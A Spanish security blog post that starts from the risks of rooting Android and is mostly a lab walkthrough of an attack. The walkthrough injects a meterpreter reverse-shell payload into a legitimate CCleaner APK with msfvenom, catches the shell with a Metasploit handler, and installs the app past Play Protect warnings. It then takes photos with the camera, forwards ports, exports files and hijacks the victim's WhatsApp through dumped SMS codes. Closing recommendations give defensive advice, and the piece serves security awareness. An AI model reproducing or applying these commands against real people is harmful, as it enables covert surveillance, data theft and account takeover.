lunes, 9 de noviembre de 2020

Riesgos de rootear nuestro dispositivo Android

En este artículo vamos a comentar y mostrar los posibles riesgos que se encuentran asociados al hecho de rootear nuestro dispositivo.

Lo primero que tenemos que conocer es qué significa en sí la palabra inglesa “root”. Si la traducimos al español quiere decir raíz y en lo que se refiere a sistemas operativos es tener acceso al directorio raíz, es decir acceso a todos los directorios y archivos existentes en el sistema de ficheros.

Por tanto, la primera consideración es que a rootear el dispositivo estamos permitiendo acceso a todo el sistema de ficheros, incluyendo áreas sensibles del mismo.

Hemos de ser conscientes de que al rootear el dispositivo perderemos la garantía de nuestro terminal, ya el que fabricante entiende que, al hacer este tipo de operación, somos los responsables de todo lo que pueda llegar a partir de ese momento. Por tanto, estamos asumiendo dicho riesgo.

Otro aspecto que debemos conocer es que muchas aplicaciones realizan verificaciones para detectar si el dispositivo ha sido rooteado y, en determinadas ocasiones, puede no permitir su instalación. Un ejemplo es SafetyNet, un sistema que disponen los desarrolladores de aplicaciones para verificar si el dispositivo es genuino y no ha sufrido modificaciones. Es decir, lo que hace es comprobar el software y hardware del dispositivo para verificar que su integridad no haya sido comprometida, comparando el estado actual con los datos de referencias recogidos durante el test de compatibilidad (CTS).

Otro riesgo que debemos contemplar es que se podría dañar el software del dispositivo ya que, recordemos, se dispone de acceso a todo el sistema de ficheros. De esta forma, se podría eliminar o modificar contenido no esperado y causar un impacto en el resto del sistema.

Finalmente, al rootear nuestro dispositivo, estamos abriendo una puerta a la instalación de malware.

Entonces, si existen todos estos riesgos, ¿por qué muchas personas realizan esta acción en su terminal? Existen diversos motivos. Por ejemplo, permite eliminar aquellas aplicaciones y software preinstalado y que no podríamos desinstalar de otra forma. Adicionalmente, al rootear nuestro terminal podremos instalar cualquier aplicación así como ROMs personalizadas que incorporan características extra y/o mejoran el rendimiento de nuestro dispositivo.

En cualquier caso, el presente artículo se centrará en los riesgos y no en los beneficios que aporta rootear un terminal.

Como se ha comentado anteriormente, son muchos los riesgos asociados con los que contamos al rootear nuestro dispositivo. Como ejemplo, vamos a realizar una prueba práctica. Para ello, vamos a contar con un dispositivo físico rooteado Android y una máquina virtual emulando un terminal Android con Genymotion. A continuación, vamos a crear una aplicación maliciosa a partir de un APK (Android Package) original. En primer lugar, vamos a clonar el APK original y le inyectaremos un payload. A pesar de la protección que incorpora Google Play Protect (que es un servicio de seguridad para Android desarrollado por Google), al tener una base original este servicio de seguridad mostrará un aviso pero seguidamente nos dejará instalar nuestra aplicación modificada.

Para esta práctica se utilizará “Msfvenom”. También se podría realizar con otras aplicaciones como “apktool” pero tardaríamos un poco más y es bastante más laborioso ya que tendríamos que realizar todos los pasos a mano. Utilizando “Msfvenom” nos ahorra parte del proceso ya que se realiza de forma automática (decompilando el APK, agregando las firmas, agregando el payload, etc.).

En este punto, cabe destacar que “Msfvenom” es una combinación de “Msfpayload” y “Msfencode”, que pone ambas herramientas en una sola instancia de Framework.

Lo primero que tenemos que hacer es disponer de la aplicación. Para ello, podemos descargarla de algún repositorio como “apkmirror” o derivados.

Para este ejemplo, descargamos la aplicación “CCleaner” desde “apkmirror.com”:


Al hacer clic en “Download APK”, descargará el APK:


A continuación, la guardamos en nuestro escritorio:


Una vez que disponemos del fichero APK, pasaremos a inyectarle nuestro payload con “msfvenom”. Para ello utilizamos el siguiente comando:

# msfvenom -x com.piriform.ccleaner_v1.22.97-71412297_minAPI15\(nodpi\)_apkmirror.com.apk -p android/meterpreter/reverse_tcp lhost=192.168.0.18 lport=5555 -o premio.apk

Explicamos los parámetros:

El parámetro “-x” nos permite especificar la plantilla que vamos a utilizar que, en este caso, es el fichero APK original que queremos que instale nuestra víctima. Seguidamente indicamos el parámetro “-p” que indicará el payload que vamos a utilizar. En este caso, un payload  con meterpreter de Android. A continuación, se indica con “lhost” la IP donde nos traeremos la reverse shell, y con “lport” le indicamos el puerto que dejaremos a la escucha en nuestro multihandler (en este ejemplo, el puerto 5555). Finalmente, el parámetro “-o” (output) permite facilitar el nombre que asignaremos a nuestra APK maliciosa.

Con “msfvenom” lo que estamos haciendo realmente es coger un APK original y transformarlo en un APK malicioso, con el payload que le hayamos indicado, para que posteriormente la víctima no sospeche cuando instale nuestra aplicación modificada.

Como podemos ver en la siguiente imagen, se realiza todo el proceso de firmas, se decompila el APK, se inyecta el payload, se asignan los permisos, y se reconstruye el APK para generar nuestra aplicación mailiciosa.


Y ahí la tenemos ya en nuestro escritorio, donde se ha creado el APK de nuestra aplicación maliciosa llamada “premio.apk”.

Para que todo esto funcione, necesitamos poner un puerto a la escucha. Utilizaremos Metasploit. Para ello lo arrancamos con el comando “msfconsole”:


A continuación, utilizaremos el multihandler para poner nuestro puerto a la escucha y esperar a recibir la conexión. Para ello, utilizaremos los siguientes comandos (son prácticamente los mismos que utilizamos cuando generamos nuestro payload al principio)

use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 192.168.0.18
set LPORT 5555
exploit


De esta forma, ya tendremos nuestro puerto a la escucha:

Por otro lado, lo que vamos a hacer es levantar un servidor Apache para poder alojar el APK malicioso y, posteriormente, desde el terminal poder navegar para proceder con su descarga y posterior instalación.

Para ello, ejecutamos el comando “service apache2 start”. Y con “service apache2 status” verificamos que ya está arrancado.




Ahora movemos nuestra aplicación “premio.apk” dentro del directorio “/var/www/html”:


Si visitamos ahora la dirección http://192.168.0.18 desde nuestro dispositivo, podemos ver nuestro APK. Al hacer clic sobre él, podremos descargarlo e instalarlo:


Hacemos clic para abrirla.

Por defecto, nos mostrará un mensaje indicando que la instalación está bloqueada ya que nos permiten instalar aplicaciones desde orígenes desconocidos:


Si apareciera este mensaje, podemos ir a las opciones de configuración y habilitar la opción “Permitir la instalación de aplicaciones tanto de fuentes de confianza como desconocidas”:


Aceptamos el mensaje:


Seguidamente ya nos dejará instalar nuestra aplicación (Ccleaner). 


Pulsaremos en “siguiente” e “instalar”. Nos aparecerá un aviso de Google Play Protect, pero la podremos instalar al aceptarlo.


Ya tenemos instalada nuestra aplicación. Nos aparecerá un mensaje indicando si queremos enviar la aplicación para que se analice. Seleccionamos “No enviar” y abrimos nuestra aplicación.


Acto seguido, como vemos, ya tenemos el APK instalado y funcionando:

Si accedemos a nuestra Kali, deberíamos tener abierta una sesión de meterpreter que se ha generado a raíz de abrir la aplicación, permitiéndonos acceso al dispositivo.



 
Ahora para ver que realmente estamos dentro del teléfono vamos a ejecutar el comando “sysinfo” para que nos muestre información del sistema.


Como vemos, estamos dentro de nuestro terminal físico Android.

Un comando que recomiendo ejecutar es “help”, ya que nos muestra todos los comandos posibles que podemos utilizar una vez que estamos dentro. Entre otros muchos, destacaría los siguientes:

  • “ps”: permite listar todos los procesos que se ejecutan en el dispositivo.
  • “app_list”: permite listar todas las aplicaciones.
  • “pwd”: permite conocer la ruta actual en la que nos encontramos.
  • “webcam_list”: permite listar las cámaras en el dispositivo. Seguramente, nos aparecerán dos cámaras, la frontal y la trasera.
  • “webcam_snap”: permite realizar una fotografía.

Como podemos ver en el siguiente ejemplo, con el comando “webcam_snap 1”, hemos realizado una fotografía con la cámara trasera.


Otro comando importante es “shell”. Este comando genera un “consola” en el dispositivo mediante la cual podemos navegar en el terminal utilizando comandos básicos de Linux.

Por ejemplo, “whoami” no funciona por defecto. En cambio, si ejecutamos “shell” previamente, podremos ejecutarlo y conocer el usuario con el que estamos autenticados:


También podemos redirigir todo el tráfico con “portforwarding”, que lo podemos ejecutar desde el mismo “meterpreter”. En este escenario, imaginemos que la persona se conecta a la wifi interna de su empresa. El riesgo sería muy elevado. Para realizas la redirección usaremos el siguiente comando:

# portfwd add -l 80 -r 192.168.0.18 -p 80

  • “add”: permite añadir una nueva regla para hacer forwarding.
  • “-l”: permite indicar el puerto local
  • “-r”: permite indicar el host remoto
  • “-p”: permite indicar el puerto remoto


Otra práctica que se podría realizar es hacernos con el Whatsapp de otra persona. Para ello, lo que hacemos es añadir en nuestro Whatsapp el número de teléfono de la persona a la que queremos suplantar. En este caso, lo pondremos en nuestro entorno emulado de Genymotion. Una vez hecho esto, Whatsapp enviará un SMS. Dado que tenemos acceso al terminal físico, lo que vamos a hacer es dumpearnos los SMS y obtener el código que se envía a ese teléfono para poder utilizar dicho código en nuestro Whatsapp simulado con Genymotion

A continuación, se muestra un ejemplo.

Entorno emulado de Genymotion con la aplicación de Whatsapp, donde se informa el número de teléfono de la persona a suplantar:

Ejecutamos en nuestra Kali el comando “dump_sms”:

Abrimos el archivo:
 
A continuación, introducimos el código. En este caso, es “830-023”. Al introducirlo en nuestro Whatsapp de Genymotion habremos conseguido acceso al Whatsapp de nuestra víctima. Asignamos un nombre, tal y como se aprecia en la siguiente imagen, y ya estaría:


Desde este momento, ya tendríamos acceso al Whatsapp de nuestra víctima. A continuación, se muestran dos capturas a modo de ejemplo: una con el dispositivo físico al que hemos suplantado y otro con el dispositivo virtual emulado con el Whatsapp de la víctima.


Otro ejercicio que se podría realizar, ya que se dispone de acceso completo al dispositivo, es acceder al terminal y exportar todas las fotos, videos, y documentos de la víctima a través del comando “download”.

En el caso de que el usuario disponga de un antivirus en su dispositivo, le ofrecerá una capa de protección que le permitirá identificar que la aplicación puede ser una amenaza. Por ejemplo, si se dispone de AVG, detectará nuestra aplicación maliciosa. No obstante, es responsabilidad del usuario aplicar las medidas para solucionar esta amenaza o continuar con ella:


Recomendaciones y buenas prácticas

Un dispositivo móvil pretende estar siempre conectado, y esa conectividad permanente junto a las características intrínsecas de estos terminales, hace que se convierta en su principal inconveniente desde el punto de vista de la seguridad.

Siguiendo el principio de seguridad que nos indica que el riesgo se reduce minimizando el nivel de exposición, es recomendable que deshabilitemos aquellas características que no necesitemos en un momento dado (Wi-Fi, Bluetooh, GPS, etc.). Cabe recordar que la gran mayoría de aplicaciones hacen uso de estas características para explotar el potencial del dispositivo, lo que incrementa el nivel de riesgo (por ejemplo, aplicaciones que emiten nuestra ubicación, o que identifican nuestra red wifi).

Otras medidas que podemos aplicar para incrementar nuestro nivel de seguridad:

  • Utilizar el rooteo del terminal sólo para entornos de laboratorio o entornos controlados, y nunca para dispositivos que utilizamos con fines corporativos  o personales.
  • Instalar un antivirus para detectar software malicioso.
  • Revisar periódicamente los permisos de las aplicaciones.
  • Aplicar configuraciones de seguridad por defecto en todas nuestras aplicaciones.
  • Mantener nuestro software actualizado.
  • Descargar aplicaciones únicamente desde fuentes autorizadas (por ejemplo, desde la tienda de Google Play) y evitar en la medida de lo posible la descargas desde sitios de terceros no confiables.
  • Evitar el uso de redes Wi-Fi gratuitas.
  • Utilizar VPN.
  • No instalar aplicaciones innecesarias.
  • Proteger el dispositivo con un código de seguridad o patrón complejo, huella digital, o reconocimiento facial. La opción recomendada es el uso de una contraseña robusta.
  • Activar el bloqueo automático de la pantalla, y solicitar código de desbloqueo para acceder al dispositivo.
  • Activar el cifrado en el dispositivo.
  • Realizar copias de seguridad periódicamente.
  • Utilizar un gestor de contraseñas de confianza para evitar la reutilización de contraseñas o la selección de contraseñas débiles.
  • Evitar el uso de los servicios "autocompletar" para informar las contraseñas y "Smart Lock para contraseñas".

Autor: Héctor Berrocal - CCNA, CEH, ITILF, MCP
Dtpo. Auditoría